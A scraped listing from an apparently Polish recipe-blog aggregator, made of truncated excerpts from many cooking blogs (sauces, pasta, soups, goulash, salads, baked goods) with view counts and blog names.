talerzu grzyby nazbierane przez męża w pobliskim lesie, trochę pogrzebów, kilka borowików i parę kozaków. Nie było tego dużo, dlatego postanowiłam zrobić szybki i prosty makaron - spaghetti z sosem śmietanowym i grzybami. Pyszny, jesienny obiad. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Chutney z gruszek 134

zimno, ale równie dobrze smakuje na ciepło, pasuje do pieczonego mięsa, deski serów, kanapek z wędliną, a nawet do ryb. Pikantny chutney z gruszek można podawać także jako sos do makaronu Chutney z gruszek - Cztery Fajery Chutneye to rodzaj dżemów z owoców lub warzyw. W Indiach słodki lub wytrawny chutnej podaje się niemal do wszystkiego. Również w Arabii Saudyjskiej, gdzie

Kulinaria - potrawy z różnych stron świata
KUCHENNA APTEKA #47 - MIĘSO Z INDYKA 145

indyka są delikatne w smaku i mają niską zawartość tłuszczu, dlatego świetnie nadają się do przygotowania baz do zup Przepisy z mięsem z indyka 1) PULPECIKI DROBIOWE W SOSIE Z SUSZONYCH POMIDORÓW I SZPINAKU 2) PIECZONE ROLADKI INDYCZE Z PIECZARKAMI 3) KOTLETY MIELONE Z CUKINIĄ I SEREM PLEŚNIOWYM 4) ROLADKI Z MIĘSA MIELONEGO NADZIEWANE SERKIEM, POMIDORAMI SUSZONYMI  I ORZECHAMI

Kuchnia MagdaLeny
KUCHENNA APTEKA #47 - MIĘSO Z INDYKA 145

indyka są delikatne w smaku i mają niską zawartość tłuszczu, dlatego świetnie nadają się do przygotowania baz do zup Przepisy z mięsem z indyka 1) PULPECIKI DROBIOWE W SOSIE Z SUSZONYCH POMIDORÓW I SZPINAKU 2) PIECZONE ROLADKI INDYCZE Z PIECZARKAMI 3) KOTLETY MIELONE Z CUKINIĄ I SEREM PLEŚNIOWYM 4) ROLADKI Z MIĘSA MIELONEGO NADZIEWANE SERKIEM, POMIDORAMI SUSZONYMI  I ORZECHAMI

Kuchnia MagdaLeny
Schab z leśnymi grzybami w sosie śmietanowym 183

Kremowy sos śmietanowy a w nim soczysty schab z czosnkową nutą i aromatyczne grzyby leśne. Całość podana z kluseczkami lub ziemniaczkami i gotowanymi warzywami stanowi smakowity i łatwy w przygotowaniu obiad. Składniki: 500 g grzybów leśnych 5-6 kotletów z schabu (grubości około 1cm) 3 ząbki czosnku mąka ziemniaczana do obtoczenia 2 łyżki oliwy 3 spore cebulki szalotki 1 łyżeczka

Pyry na Gaz
Frito pie 184

chilli Wykonanie: Fasolę wlewamy do garnka wraz z zalewą, dodajemy koncentratu oraz kukurydzy i gotujemy. Dodajemy chilli. Paczkę nachosów rozcinamy wzdłuż dłuższej krawędzi i dodajemy przygotowany wcześniej, jeszcze ciepły sos

Kryzysowa Książka Kucharska
Ryba w sosie porowym 254

ryby (u mnie molwa – dorszowata) 1 średni por po pół zielonej i czerwonej papryki 1 fenkuł 1 mały jogurt naturalny pieprz ziołowy czosnek … Czytaj dalej Ryba w sosie porowym

czarrna od kuchni
Sezon na grzyby – od zbioru do marynaty 185

grzybów Czego nie może zabraknąć w naszej jesiennej spiżarce? Oczywiście ulubionych grzybków. Jesienią wybierzmy się na grzybobranie do lasu, a potem samodzielnie przygotujmy pyszne grzybowe marynaty, kiszonki i sosy. Grzyby przetwarzamy od razu po powrocie z lasu, ponieważ charakteryzują się krótką trwałością. Maślaki, podgrzybki czy borowiki leżące i nieoczyszczone w koszyku potrafią się popsuć w ciągu 1 dnia. Dlatego

Codzienna kuchnia niecodzienna
Dorsz z karmelizowanymi jabłkami i sosem żurawinowym 163

obiad z dorszem w roli głównej, zdrowy, pożywny posiłek dla całej rodziny. Wbrew pozorom obiad z rybą jest szybki i prosty do przygotowania. Dorsza podałam na skarmelizowanych jabłkach z sosem ze świeżej żurawiny. Danie jest pyszne i prezentuje się bardzo apetycznie. Zapraszam na dorsza w jesiennym wydaniu

Gotuj zdrowo!Guten Appetit!
Pasta jajeczna z awokado 162

pasta tzatziki , pasta z makreli i twarogu Nasza pasta jajeczna z awokado jest gotowa. Będzie pysznym dodatkiem do kanapek. Sprawdzi się także jako zdrowa sałatka. Jeżeli zostało wam trochę sosu guacamole to z powodzeniem można go wykorzystać do tej pasty

Korniszonki
Pasta jajeczna z awokado 161

pasta tzatziki , pasta z makreli i twarogu Nasza pasta jajeczna z awokado jest gotowa. Będzie pysznym dodatkiem do kanapek. Sprawdzi się także jako zdrowa sałatka. Jeżeli zostało wam trochę sosu guacamole to z powodzeniem można go wykorzystać do tej pasty

Gotujemy i jemy
LECZO Z CIECIERZYCĄ 132

Rozmaite leczo warzywne to zawsze udany obiad na kilka dni. Jak bigos – im starsze danie tym lepsze, bynajmniej ja tak uważam. Warzywa przechodzą własnym smakiem, ziołami, powstałym sosem. Leczo podaję ze świeżo posiekaną natką wymieszaną z kolendrą, posypuję parmezanem lub tartym żółtym serem. Leczo z ciecierzycą wspaniale smakuje z makaronem, kaszami rozmaitymi, ryżem, bagietką, grzankami np. czosnkowymi lub pajdą

Zasmakuj Kuchni
Penne z dynią, grzybami i boczkiem (Penne con zucca, funghi e pancetta) 174

już w klimacie jutrzejszego Międzynarodowego Dnia Makaronu i na obiad przygotowałyśmy makaron z kremowym sosem dyniowym, boczkiem i grzybami. Prosty i szybki w przygotowaniu pomysł na niezwykle smaczny obiad w jesiennej scenerii.  A skoro jutro obchodzimy Dzień Makaronu, chciałabym już dziś zaprosić Was na jutrzejsze wpisy. Podzielę się z Wami  m.in. przepisem na domowy makaron, zdradzę Wam sztuczki

La grande e la piccola cuoca
Ryby z puszek i wino to duet idealny 163

wytrawne, bądź półwytrawne. Powinniśmy unikać win aromatycznych, żeby nie przyćmiły smaku ryby. Chodzi o to, aby ten smak podkreślić. Bardzo dobrym połączeniem będzie włoskie pinot grigio oraz makrela w sosie pomidorowym – mówi Daniel Matz, szef kuchni z Gdańska. Z rybą bardzo dobrze współgra również wino zielone o bardzo subtelnym cytrusowym aromacie. Schody zaczynają się, kiedy na naszym talerzu pojawia się

codojedzenia
Afarar- lezgińskie pierogi z dynią i orzechami włoskimi 198

pierogi. Smażyć Afarar na suchej, mocno rozgrzanej patelni z obu stron na bardzo małym ogniu. Po usmażeniu każdy pieróg smarować masłem. Afarar podawać z jogurtem naturalnym, adżyką lub ulubionym sosem. Smacznego Afarar- lezgińskie pierogi z dynią i orzechami włoskimi Afarar- lezgińskie pierogi z dynią i orzechami włoskimi Afarar- lezgińskie pierogi z dynią i orzechami włoskimi Artykuł Afarar- lezgińskie pierogi

Smaki Armine
Sałatka Król stołu 17201

Sałatka Król stołu – chociaż składa się tylko z 4 głównych składników i sosu, jest bogata w smaki i zachwyci każdego, kto ją wypróbuje. U nas świetnie się sprawdza jako przekąska na kolację, czy też jako sałatka na imprezę. Idealnie do niej pas The post Sałatka Król stołu appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Bulion warzywny 175

Bulion to doskonała baza do zup, sosów oraz innych dań. Warto go zawsze przygotować wcześniej co przyśpieszy przygotowanie każdego dania :) Składniki: Por biała część połowa Por zielona część połowa Marchew 4 Cebula Seler ćwiartka Pietruszka korzeń Pietruszka natka pęczek mały Czosnek 2 ząbki Ziele angielskie 3 Liść laurowy 3 Pieprz ziarnisty 2 kulki Sól łyżka Woda 2 l Cebulę obrać

Kulinarne przygody
Keto kopytka dyniowe (Paleo, LowCarb) 245

niewielkie kluski i spłaszczać je lekko widelcem. Wrzucać kluski na wrzącą osoloną wodę i gotować przez ok. 3 minuty po wypłynięciu klusek na wierzch. Podawać gorące w towarzystwie gulaszu, sosu mięsnego lub zielonego pesto. Świetnie smakują również odsmażone na patelni. Pozostałe informacje Przybliżona wartość odżywcza 1 porcji: Wartość energetyczna: 98 kcal Tłuszcz: 4,2 g Węglowodany: 9,8 g Błonnik

Modern Cave Girl
Makaron bardzo pikantny z chorizo, pomidorami i szpinakiem 99

masło wrzucam pokrojone chorizo. Chwilę smażę. Dodaję szpinak i dusze aż szpinak zmniejszy swoją objętość. Dodaję pomidory z puszki, natkę pietruszki, sól, pieprz. Chwilę smażę. Wykładam makaron, na makaron sos. Posypuje wiórkami parmezanu, świeżą pietruszką i świeżo zmielonym pieprzem. Petarda. Artykuł Makaron bardzo pikantny z chorizo, pomidorami i szpinakiem pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
20 rozgrzewających zup na jesienne chłody 191

brokuł, co tu dużo mówić, nie pachnie najlepiej. Skąpany w mleku kokosowym i migdałach ma znakomity aromat. Zobacz przepis Zupa pomidorowo-paprykowa z grzanką Słodycz pieczonej papryki i kwaskowatość sosu pomidorowego – to doskonałe małżeństwo przeciwieństw. Aby był to związek idealny potrzebna była już tylko wyjątkowa grzanka. Zobacz przepis Szpinakowa z pieczonymi warzywami Zupa szpinakowa zrobiona na bazie pieczonego kalafiora

Niedzielny kucharz
Chorwackie penne po marynarsku 148

pietruszki i rozmaryn. Całość zalać winem. Dorpawić solą i pieprzem. Dusić na małym ogniu do odparowania większości wina. W międzyczasie ugotować makaron w lekko osolonej wodzie. Przełożyć do gorącego sosu. Całość dokładnie wymieszać. Podawać na ciepło posypane startym serem. Smacznego

Zielona Kuchnia
Rozgrzewająca zupa na przeziębienie 178

Może stanowić samodzielne danie, wówczas często dodaję do niej toor dal albo czerwoną soczewicę i kilka łyżek koncentratu pomidorowego, aby była bardziej pożywna. Można ją też wykorzystać, jako aromatyczny sos do ryżu lub warzyw. W każdym z tych wariantów jest świetna. Rozgrzewająca zupa na przeziębienie przyprawy do podsmażenia 2 łyżki oleju  1 czubata łyżeczka ziaren czarnego pieprzu 1 łyżeczka

Kulinaria - potrawy z różnych stron świata
Najlepsze zapiekanki na jesień – 10 przepisów 206

camembertem cieszy najpierw oko, a później kubki smakowe. Zobacz przepis Zapiekanka rybna z cydrem   Zapiekanka z kremowym nadzieniem z dwóch rodzajów ryb: wędzonej i świeżej, uduszonych w cydrowym sosie, przykrytych warstwą zielonego groszku i kalafiorowego pure. Zobacz przepis Cottage pie z batatów i ziemniaków   Cottage pie jest jak wytrawne ciastko: kremowe, rozpływające się w ustach, pełne smaków, aromatów

Niedzielny kucharz
KOTLETY Z KASZY JĘCZMIENNEJ Z BROKUŁEM 184

środku. Są nie tylko bardzo smaczne, ale i zdrowe! Można wykorzystać do nich kaszę, która została z poprzedniego obiadu, wtedy nic się nie zmarnuje. Świetnie smakują w towarzystwie sosu pomidorowego lub pieczarkowego, a także w bułce z dodatkami jako burgery... Składniki: 1 szklanka kaszy jęczmiennej 2 i 1/2 szklani wody 1 łyżeczka masła 1 brokuł (500 g) 1 cebula

Kuchnia MagdaLeny
KOTLETY Z KASZY JĘCZMIENNEJ Z BROKUŁEM 184

środku. Są nie tylko bardzo smaczne, ale i zdrowe! Można wykorzystać do nich kaszę, która została z poprzedniego obiadu, wtedy nic się nie zmarnuje. Świetnie smakują w towarzystwie sosu pomidorowego lub pieczarkowego, a także w bułce z dodatkami jako burgery... Składniki: 1 szklanka kaszy jęczmiennej 2 i 1/2 szklani wody 1 łyżeczka masła 1 brokuł (500 g) 1 cebula

Kuchnia MagdaLeny
Kurkuma - sprawdź dlaczego warto używać jej jak najczęściej 147

diety? Kurkuma doda smaku, aromatu i pięknego koloru nie tylko daniom kuchni hinduskiej. Świetnie sprawdzi się jako dodatek do różnego rodzaju zup (np. gęstych zup typu krem lub rosołu), sosów i past kanapkowych. Wydobędzie ona także głębię smaku z ryb i owoców morza, drobiu oraz potraw z ryżu. artykuł zewnętrzny (function(){ wwsi=document.createElement("script");wwsi.type="text/javascript"; wwsi.async=true;wwsi

Kuchcik gotuje
Makaron z dynią i kiełbasą / Pumpkin and sausage pasta 167

czym dopraw solą, pieprzem i gałką muszkatołową. Wlej bulion i gotuj całość przez ok. 10 minut, aż dynia zmięknie. Po tym czasie dodaj śmietankę wraz z szałwią, gotuj aż sos lekko zgęstnieje i dopraw jeżeli to konieczne. Podawaj danie z ugotowanym makaronem. Smacznego! English version Pumpkin and sausage pasta (4 servings) Ingredients: 3 tablespoons of vegetable oil a handful

karmelowy
Babeczki francusko wołowe z nutą indyjską 170

czas: ok. 40 min Przygotowujemy   12 wyciętych z papieru do pieczenia kwadratów o   wielkości   ok. 10/10 cm. Piekarnik nastawiamy na 200°C. Mięso dokładnie mieszamy z sosem. Dodajemy sera, posiekanego szczypiorku i całość mieszamy. Ciasto rozwijamy i na całą powierzchnię nakładamy farsz. Ciasto delikatnie zwijamy w roladę. Kroimy na 12 krążków, które przekładamy do formy na babeczki

Moniki Smakołyki
Szynka pieczona z dodatkiem ziół 133

święta, ale też na co dzień. Smaczna, pachnąca szynka upieczona z dodatkiem aromatycznych przypraw w domowym piekarniku smakuje nie tylko z pieczywem. Ciepłą szynkę, pokrojoną w grube plastry, polaną sosem możemy zjeść na obiad

Przepisy Kulinarne
LECZO Z CUKINIĄ 167

czyli węgierska potrawę z papryki, coś na kształt gulaszu. Oryginalny przepis to zaledwie kilka składników - słonina, boczek, kiełbasa, żółta i czerwona papryka oraz pomidory, z których powstaje ten wspaniały sos. Do doprawienia sól, pieprz i prawdziwa węgierska wędzona papryka. W mojej wersji pojawia się dodatkowo cukinia. Zresztą, któż nie zna leczo z cukinią! Pojawia się często na blogach i polskich

W kuchni Karmel-itki
Austriacka sałatka z mortadeli 194

lubi, smacznego !!! Zapraszam również na inne moje przepisy na sałatki: Sałatka z tuńczykiem ,pieczarkami i krakersami Sałatka z ryżem i paluszkami krabowymi Sałatka z pieczonych warzyw z fetą i sosem ziołowym Surówki do obiadu na 4 sposoby Lekka sałatka z szynką i ogórkiem

Swojskie jedzonko
BURGERY (KOTLETY) Z WOŁOWINY 144

Gotowe burgery podaję na talerzu, z brokułami z wody (lub patelni), buraczkami tartymi i frytkami, na bogato! Można także w bułce z dodatkiem sałaty, ogórka kiszonego, pomidora, cebuli czerwonej, sosu majonezowego i ketchupu. Dziś u mnie wersja na talerzu. Gdy komponuję gotowe danie cieszę się jak nic, bo obiady domowe są najzdrowsze i już. Polecam burgery a la kotlety mielone

Zasmakuj Kuchni
Kanapki z łososiem 222

paprykę myjemy. Mozzarellę i paprykę  kroimy w plastry. Bułki kroimy na pół. Skrapiamy oliwą z oliwek. Układamy kolejno  pastę z awokado, wędzonego łososia i delikatnie smarujemy sosem majonezowo -jogurtowym. Następnie układamy mozzarellę, paprykę oraz rukolę Gotowe ! Artykuł Kanapki z łososiem pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
Roladki drobiowe z salami i serem – Odrobina wymyślności 163

będzie smakować zarówno tradycjonalistom, jak i fanom eksperymentów. Po drugie: wprowadza zróżnicowanie. Roladki można podać z ziemniakami, ryżem, kaszą lub same. Z surówką albo bez. A nawet w sosie! Równie dobrze możemy –na ciepło lub zimno – pokroić je sobie na pieczywo i też będą świetne. Po trzecie: to dobry sposób na wykorzystanie resztek. Zostało Wam trochę żółtego sera i wędlina

Proste-przepisy.pl
Przepis na gulasz z grzybami leśnymi 221

małym ogniu, od czasu do czasu mieszając. Gdy mięso jest już miękkie, to dodaję do gulaszu śmietanę i duszę jeszcze około 2 minut. Śmietanę przed dodaniem hartuję kilkoma łyżkami sosu z gulaszu. Na koniec sprawdzam smak i jeżeli trzeba to doprawiam. Gulasz jest gotowy. Gulasz z grzybami leśnymi jest gotowy, życzę smacznego. Pozdrawiam Babcia Ewa (adsbygoogle = window.adsbygoogle || []).push

Uwaga Babcia Gotuje
Czekoladowe ciasto z wiśniami 270

Czekoladę posiekać i umieścić w miseczce. Śmietankę kremówkę podgrzać w małym garnuszku prawie do wrzenia, następnie zalać nią czekoladę. Odstawić na około 2 minuty, następnie wymieszać do otrzymania jednolitego sosu czekoladowego.  Odczekać do momentu, aż polewa zacznie gęstnieć ( często mieszać w tym czasie ) i taką tężejącą polewę rozsmarować na wystudzonym cieście. * Wiśnie, szczególnie te mrożone, muszą być dobrze odsączone

Opowieści z piekarnika
Sałatka śledziowa z ziemniakami / Herring salad with potatoes 208

łyżki octu jabłkowego, mieszaj co chwilę aż śmietanka zgęstnieje. Wymieszaj ją z buraczkiem i smażonymi jabłkami. Dopraw solą i pieprzem. Marynowane śledzie pokrój w kostkę, dodaj ziemniaki oraz sos śmietanowo-jabłkowy. Dopraw w razie potrzeby i przed podaniem wymieszaj. Możesz też ułożyć sałatkę warstwowo w mniejszych słoiczkach. Ingredients: (4 servings) 12 herring fillets a'la matjas 1 glass

Delicious Place
Jesienny kociołek do syta z łopatką 121

laurowe 6 kulek ziela angielskiego 1 łyżeczka granulowanego czosnku 1 łyżeczka ostrej mielonej papryki 1 łyżeczka brązowego cukru sól , pieprz do smaku mąka do obtoczenia mięsa ( ona także zagęści sos podczas duszenia ) smalec wieprzowy do smażenia Łopatkę kroimy w dość dużą kostkę i obtaczamy w mące . Obsmażamy na złoty kolor na smalcu . Przypieczone mięso umieszczamy w woreczku do pieczenia . Cebulę

Ogrodnik w podróży
KARKÓWKA W SOSIE MUSZTARDOWYM + FILMIK 108

Karkówka w sosie musztardowym jest pyszna i łatwa w przygotowaniu. Podałam ją z kluskami, jednak świetnie będzie smakować z kaszą, makaronem lub innymi dodatkami. Polecam.  SKŁADNIKI :  1 kg karkówki wieprzowej przyprawa do mięsa ( dowolna )  słodka i ostra papryka do smaku sól, czosnek granulowany do mięsa  1 słoiczek musztardy sarepskiej  mąka do obtoczenia 3 liście laurowe

Kulinarne Fantazje Marioli
Jęczmienne kulki z burakiem i fetą 181

fetą piec przez około 30 minut, lub do czasu aż będą przyrumienione. Kulki z kaszy jęczmiennej z burakiem można jeść na ciepło lub na zimno z ulubiona sałatą i sosem czosnkowym, lub po prostu same - są pyszne! Smacznego

Codzienne Gotowanie
Krem z pomidorów caprese 160

pokrój na mniejsze kawałki. W garnku na 2 łyżkach oliwy podsmaż czosnek i cebulę, następnie dodaj krojone pomidory i gorący bulion lub 2 puszki pokrojonych pomidorów wraz z sosem. Dorzuć pokrojoną paprykę oraz pokrojone na mniejsze kawałki suszone pomidory z zalewy (wybierz te w oleju). Gotuj przez 10 minut. Zblenduj zupę na gładki krem, dopraw ją odrobiną soli i pieprzu

nietylkopasta.pl
Spaghetti pełnoziarniste z kurczakiem w sosie serowym 236

makaronu pełnoziarnistego 1 kulka mozzarelli 1 kostka serka topionego śmietankowego 1 cebula 2 ząbki czosnku tarty parmezan papryczka chili … Czytaj dalej Spaghetti pełnoziarniste z kurczakiem w sosie serowym

czarrna od kuchni
Cous Cous - super danie z warzywami. 183

żółta papryka 170g fasolki szparagowej 1 puszka kasztanów w zalewie wodnej 2 duże łyżki pestek dyni kilka suszonych moreli 1 papryczka chili Mix kiełków oregano, tymianek, pieprz , pasta Harissa, sos sojowy, oliwa z oliwek Danie jest bardzo proste. Wszystkie składniki kroimy i wrzucamy na rozgrzaną oliwę. Podsmażamy lekko, a po chwili podlewamy niewielką ilością bulionu warzywnego. Dodajemy przyprawy i pastę

vegetanie
Naleśniki w sosie pomarańczowym + nowości w mojej kuchni 193

typowo francuskie naleśniki crêpes Suzette z pomarańczami, które płoną, mają gęsty sos i zawierają alkohol. Moja wersja jest zdecydowanie lżejsza, mniej kaloryczna, dostarczająca wartościowych składników odżywczych. Mianowicie mamy tutaj naleśniki orkiszowe, podane z kremowym twarożkiem, zanurzone w świeżo wyciskanym soku pomarańczowym. Smakują cudownie! Są bardzo delikatne, lekko soczyste, z wyczuwalnym akcentem pomarańczy. Ich przygotowanie opisałam w dalszej części wpisu. Znajdują

Zdrowie na języku :P
Hummus z zielonego groszku 168

zielonego groszku: Hummus z zielonego groszku to pyszna pasta o pięknym zielonym kolorze. Przygotujemy ją bardzo szybki i w prosty sposób. Hummus to nic innego jak potrawa, a raczej sos dip lub pasta do smarowania, która przyrządzana jest z gotowanych i przetartych nasion ciecierzycy lub innych roślin strączkowych. Dzisiaj możemy spotkać go w wielu wariantach. Jako zimna przekąska, która spożywana

FoodMagazine.pl - Przepisy kulinarne
Kotlety siekane z gotowanego mięsa 183

praską do wygładzania, dzięki czemu kotlety na zdjęciu mają regularny kształt. Smażymy na rozgrzanym oleju z dwóch stron, a następnie odsączamy na papierowym ręczniku. Podajemy z surówką lub/i z sosem. Smacznego

Kuchnia w czekoladzie
Polędwiczki wieprzowe 142

miałam okazji wybrać się do lasu. Ale… nie ma tego złego, co by na dobre nie wyszło- grzyby dostałam, część ususzyłam, część zamroziłam, a z kolejnej części sos zrobiłam! Continue reading Polędwiczki wieprzowe at Blog kulinarny Kurkanielotka.pl

PysiaGotuje.pl
Karkówka pieczona w piwie i cebuli 191

umieszczamy w naczyniu żaroodpornym. Zalewamy piwem, pieczemy w temperaturze 180 stopni przez 1,5 godziny. W tym czasie piwo powinno odparować a w naczyniu powinna zostać niewielka ilość sosu. Jeśli piwo za szybko wyparuje przed końcem pieczenia - dolewamy go więcej

Szefowa kuchni
Racuszki na kwaśnym mleku 204

ciasto jest bardzo rzadkie, to dodać około 2 łyżki mąki. 2. Racuszki smażyć na rozgrzanym oleju na rumiano z obu stron. 3. Podawać wedle uznania, z cukrem pudrem, dżemem, sosem owocowym itp. Smacznego!!! Źródło: Moje wypieki

Kuchnia domowa Ani
Meksykańskie zawijasy, pycha 148

rozłożyć cienkie plastry pomidorów. Zawinąć tortilę w rulon i położyć w naczyniu żaroodpornym. Obsypać wszystko serem. Piekarnik nagrzać do 200 C i piec 10 minut. Można podawać w towarzystwie sosu czosnkowego. Smacznego

Kuchnia Pokoleń
Czeski gulasz na piwie. Najpyszniejszy z knedlikiem. PRZEPIS 181

Kawałki wołowiny rozpływającej się w ustach, dużo aromatycznego sosu i knedliki, którymi można wytrzeć talerz do sucha. Nasi południowi sąsiedzi robią pyszny gulasz. Mamy dla was sprawdzony przepis. Przepis na czeski gulasz Składniki: kilogram pręgi wołowej (goleń) – ewentualnie po prostu wołowiny gulaszowej, 3 cebule, 2 ząbki czosnku, 2 łyżki papryki słodkiej w proszku (może być też pół na pół

Kulinarna Polska
Makaron z kurczakiem i szpinakiem w sosie śmietanowym 158

kurczaka. Obsmażyłam z każdej strony. Dodałam posiekany szpinak i czosnek przeciśnięty przez praskę. Delikatnie oprószyłam solą. Kiedy pierś już się usmażyła zalałam wszystko śmietaną i chwilę jeszcze podgrzewałam żeby sos się zredukował. Dorzuciłam do gorącego pokrojony w kawałeczki ser typu brie (ok. 1-2 łyżek pokrojonego). Doprawiłam do smaku solą i pieprzem. Ugotowałam makaron i wyłożyłam go na patelnię

Pieprzyć z Fantazją
Szybki obiad z piersi kurczaka 147

zupy pomidorowej albo japońskiej zupy ramen. Z pieczonego filetu z kurczaka robię też pyszne sałatki np. taką jak sałatka z kurczakiem i jabłkiem albo podgrzewam mięso i podaję z sosem pomidorowym Prosty obiad z kurczaka może zrobić każdy, ale żeby kurczak był soczysty trzeba go często podlewać albo wykorzystać pewien trik, który opisuję poniżej. Szybki obiad z piersi kurczaka - składniki

Kulinaria - potrawy z różnych stron świata
Jaglanka ze śliwką i orzechami włoskimi 208

rondelku pod przykryciem przez 5 minut, mieszając, aby śliwki nie przywarły do dna. Orzechy siekamy. Na miskę wykładamy jaglankę, śliwki, posypujemy orzechami. Dodając więcej miodu uzyskacie pyszny gęsty sos z cynamonem

Lena Gotuje
Słodkie goni słone, czyli kolorowa sałatka z kapustą pekińską, serem feta, papryką i owocami 138

końcu dodać pokrojone niezbyt drobno listki świeżej melisy, które orzeźwiająco podkręcą smak sałatki.  👉     Lubisz sałatki? Spróbuj także tych: Kolorowa sałatka z kaparami, oliwkami, fetą i sosem vinaigrette Sałatka z ananasem, gruszką, szynką szwarcwaldzką i fetą, z dodatkiem pestek granatu Kultowa amerykańska sałatka Cobb

Codzienna kuchnia niecodzienna
Kremowy makaron z rukolą i pesto bazyliowym 136

garnka serek mascarpone, pesto oraz 2 garści rukoli – wszystko delikatnie, ale dokładnie mieszamy. W trakcie mieszania dodajemy po trochu wodę spod gotowania, tak aby utworzył się jedwabisty sos z serka i pesto – możliwe we starczy tylko odrobina wody. Wszystko doprawiamy do smaku solą i pieprzem.   Gorące danie od razu podajemy. Na wierzchu dodajemy jeszcze trochę świeżych listków

Smaczna Strona
Keto placki z cukinii (Paleo, LowCarb) 206

roli zagęstnika, a placki wyszły wyśmienite zarówno w smaku, jak i w konsystencji. Polecam zarówno jako lekki lunch, jak i danie obiadowe - wtedy najlepiej w towarzystwie jakiegoś mięsnego sosu. Dania Danie główne , Lunch , Śniadanie Kuchnia Europejska , Wege Keyword jajka , placki Porcje 2 porcje Czas przygotowania 5 minut Czas gotowania 15 minut Składniki 1 cukinia średniej wielkości

Modern Cave Girl
NUGGETSY Z KALAFIORA 215

niebanalną przekąskę, która smakuje nawet tym, którzy nie przepadają za tym warzywem. Świetnie smakują zarówno na ciepło, jak i na zimno. Podałam je z frytkami z batata i czosnkowym sosem jogurtowym. Składniki: 1 kalafior 1 jajko 3/4 szklanki wody mineralnej gazowanej 1 szklanka mąki pszennej 2 łyżeczki przyprawy do kurczaka 3 szklanki płatków kukurydzianych sól, pieprz Wykonanie: Kalafiora obieramy

Kuchnia MagdaLeny
NUGGETSY Z KALAFIORA 215

niebanalną przekąskę, która smakuje nawet tym, którzy nie przepadają za tym warzywem. Świetnie smakują zarówno na ciepło, jak i na zimno. Podałam je z frytkami z batata i czosnkowym sosem jogurtowym. Składniki: 1 kalafior 1 jajko 3/4 szklanki wody mineralnej gazowanej 1 szklanka mąki pszennej 2 łyżeczki przyprawy do kurczaka 3 szklanki płatków kukurydzianych sól, pieprz Wykonanie: Kalafiora obieramy

Kuchnia MagdaLeny
Domowa „jarzynka” ,przyprawy bez chemii 136

dziwnie wygięty por Wszystko to ląduje w suszarce do grzybów i jak widać nie tylko Po 24 godzinach mam zdrową , doskonałej jakości jarzynkę , której mogę użyć do zup sosów , gulaszu . Zawsze pod ręką , w zamkniętym szczelnie słoju nie traci wartości do dwóch lat Polecam zamknąć sobie nie tylko troszkę lata ale i zdrowia w słoiku składniki na około 1 litrowy

Ogrodnik w podróży
Zupa z prawdziwków 101

borowiki szlachetne ? Bierzemy w ciemno i te i tamte. To dla nas król grzybów leśnych. Innymi też nie gardzimy, bowiem też są pyszne. Preferujemy marynowane, suszone, ostatnio w sosie śmietanowym. Tym razem wykorzystaliśmy do przyrządzenia zupy.  Składniki: 500 g świeżych prawdziwków 1 cebula 5 ziaren ziela angielskiego 2 liście laurowe 4 ziemniaki 250 ml śmietany 30% 1 łyżka mąki

R'n'G Kitchen
Domowe Hot Dogi 160

włożeniem do piekarnika smarujemy roztrzepanym jajkiem i posypujemy sezamem. 6. Pieczemy w 200 st. C około 20 minut. Do ładnego zarumienienia się :-)  Takie Hot Dogi możemy podać z sosem. Smacznego

kruche babeczki
Aromatyczny sos z polędwiczką 296

mały por 1 papryka biała 1 papryka czerwona 250 g mini pieczarek 1/4 fenkuła 2 łyżki białej fasoli z puszki (można pominąć, ja akurat … Czytaj dalej Aromatyczny sos z polędwiczką

czarrna od kuchni
Puszyste i proste pancakes, pankejki 122

smażymy na suchej lub delikatnie nasmarowanej tłuszczem patelni. Placuszki nie mają pływać w tłuszczu. Staramy się nakładać jednakowe porcje ciasta, dlatego można użyć do tego celu małą łyżkę do sosu lub np. na porcję dawać dwie łyżki ciasta. Możecie do ciasta dodać puree z dyni czy starte na tarce jabłko, aby uzyskać nowy smak placuszków. Przepis pochodzi stąd . Porcja

Mieszam w Garnku
Sałatka z pomidorów i czerstwego chleba 157

Zapraszam do wszystkich moich  przepisów na sałatki .  Polecam Wam także: –  sałatka z pieczonym burakiem i kozim serem –  sałatka gyros –  sałatka cezar z kurczakiem –  sos do sałatki –  pieczone faszerowane bataty –  sałatka z pieczonym kalafiorem –  sałatka z gruszką i gorgonzolą –  sałatka ze szparagami i jakiem –  sałatka kebab –  sałatka brokułowa

nietylkopasta.pl
Surówka z czerwonej kapusty i kopru włoskiego 191

Marchew obrać, zetrzeć na tarce o dużych oczkach. Zieloną cebulę drobno pokroić. W małej miseczce wymieszać sok z pomarańczy, olej, sól oraz pieprz. Pokrojone warzywa włożyć do miski, zalać sosem. Dobrze wymieszać. Surówka z kapusty czerwonej z koprem włoskim Smacznego! O czym warto pamiętać robiąc surówkę. Surówka z kopru i kapusty Kapustę jak i koper włoski poszatkowałam na szatkownicy. Jeśli

mecooks
Zapiekanka makaronowa z warzywami i kiełbasa 141

boki naczynia żaroodpornego smarujemy oliwa z oliwek bądź olejem. Przekładamy do naczynia makaron, warzywa i kiełbaskę. W misce mieszamy jajka ze śmietana, solą, pieprzem i 100 gramami startego sera. Sos wylewamy do naczynia, wszystko bardzo dokładnie mieszamy do połączenia się składników. Na wierzch posypujemy pozostały ser. Przykrywamy pokrywka i wstawiamy do piekarnika na ok 40 min do zapieczenia. (adsbygoogle = window.adsbygoogle

Blog kulinarny S9.PL
Placek pomidorowo - fasolowy 130

Zakupiłam w Lidlu 2 puszki fasolki białej pieczonej w sosie pomidorowym. Nie miałam ochoty na samą fasolę, musiałam coś kombinować i tak oto powstał pyszny placek pomidorowo - fasolowy. Idealne danie na obiad nawet dla 4 osób bo jest pożywny i bardzo sycący. Polecam jako danie obiadowe. Placek na obiad. CZYTAJ DALEJ

Moje Małe Czarowanie
Smaki Warmii i Mazur 164

naleśnikowe (bliny to cienkie racuchy z ciasta drożdżowego), ale i tak bardzo smaczne, Klopsy królewieckie – regionalne danie Prus Wschodnich. Klopsy z mięsa z młodego jelenia z dodatkiem ryby, w sosie kaparowym. Klopsy podane z zielonym orkiszem i marchewką. Bardzo ciekawe i warte uwagi danie. Maliny ze Szwajcarii Mazurskiej – idealnie mało słodki deser z własnymi malinami i serkiem z mleka miejscowych

królestwo garów
KURCZAK DUSZONY W SOSIE WŁASNYM Z DODATKIEM CEBULI I NUTĄ SŁODYCZY 140

